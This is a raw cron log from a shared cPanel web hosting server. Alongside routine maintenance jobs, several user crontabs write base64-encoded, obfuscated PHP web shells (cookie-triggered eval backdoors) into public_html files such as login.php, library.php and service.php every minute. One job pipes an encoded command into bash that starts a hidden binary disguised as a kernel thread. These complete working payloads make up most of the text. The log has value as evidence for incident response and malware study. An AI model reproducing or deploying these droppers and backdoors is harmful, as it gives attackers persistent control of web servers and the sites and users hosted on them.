Mar  2 16:00:02 medusa CROND[3399]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:00:02 medusa CROND[3402]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:00:02 medusa CROND[3404]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:00:02 medusa CROND[3406]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3412]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:00:02 medusa CROND[3421]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3427]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:00:02 medusa CROND[3419]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3432]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 16:00:02 medusa CROND[3433]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3436]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:00:02 medusa CROND[3437]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3441]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3443]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:00:02 medusa CROND[3445]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3444]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:00:02 medusa CROND[3450]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 16:00:02 medusa CROND[3453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3451]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 16:00:02 medusa CROND[3457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:00:02 medusa CROND[3472]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:00:02 medusa CROND[3473]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:00:02 medusa CROND[3470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 16:00:02 medusa CROND[3448]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:00:02 medusa CROND[3477]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3483]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 16:00:02 medusa CROND[3482]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:00:02 medusa CROND[3480]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 16:00:02 medusa CROND[3491]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:00:02 medusa CROND[3484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3459]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:00:02 medusa CROND[3494]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 16:01:01 medusa CROND[24613]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:01:01 medusa CROND[24616]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:01:01 medusa CROND[24617]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:01:01 medusa CROND[24622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:01:01 medusa CROND[24621]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:01:01 medusa CROND[24627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:01:01 medusa CROND[24626]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:01:01 medusa CROND[24629]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:01:01 medusa CROND[24631]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:01:01 medusa CROND[24634]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:01:01 medusa CROND[24637]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 16:01:01 medusa CROND[24635]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:01:01 medusa CROND[24628]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:01:01 medusa CROND[24648]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:01:01 medusa run-parts(/etc/cron.hourly)[24637]: starting 0anacron
Mar  2 16:01:01 medusa run-parts(/etc/cron.hourly)[24675]: finished 0anacron
